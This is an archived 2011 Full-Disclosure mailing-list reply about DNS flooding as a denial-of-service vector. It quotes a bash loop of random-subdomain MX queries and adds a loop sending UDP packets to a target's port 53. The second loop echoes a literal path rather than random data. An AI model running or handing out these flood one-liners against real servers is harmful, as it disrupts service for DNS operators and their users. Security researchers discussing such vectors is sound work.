full-disclosure - Re: New DDoS attack vector

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Message-ID: <BANLkTiki-3fcMt44fRW1br=qBZhAVdxOkg@mail.gmail.com>
Date: Fri, 20 May 2011 16:08:05 +0200
From: Balder <balder.theglorious@...glemail.com>
To: Kristian Erik Hermansen <kristian.hermansen@...il.com>
Cc: "full-disclosure@...ts.grok.org.uk" <full-disclosure@...ts.grok.org.uk>
Subject: Re: New DDoS attack vector

On 20 May 2011 13:35, Kristian Erik Hermansen
<kristian.hermansen@...il.com> wrote:
> On Fri, May 20, 2011 at 4:29 AM, Balder
> <balder.theglorious@...glemail.com> wrote:
>>  * Why go to all this trouble when you could just do something like
>> the following (replacing dig with something faster)
>>    - while true ; do dig $(</dev/urandom tr -dc A-Za-z0-9 | head -c
>> 10 ).example.com MX  ; done
>
> dnsperf is what you really want ;)
even the following if if there is no IDS and if there is you would
probably have just as much chance of overloading its state table then
the dns server

while true ; do  echo /dev/urandom > /dev/udp/target_IP_address/53 ; done


thanks to /dev/random
http://blog.rootshell.be/2011/05/05/binbash-phone-home/

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/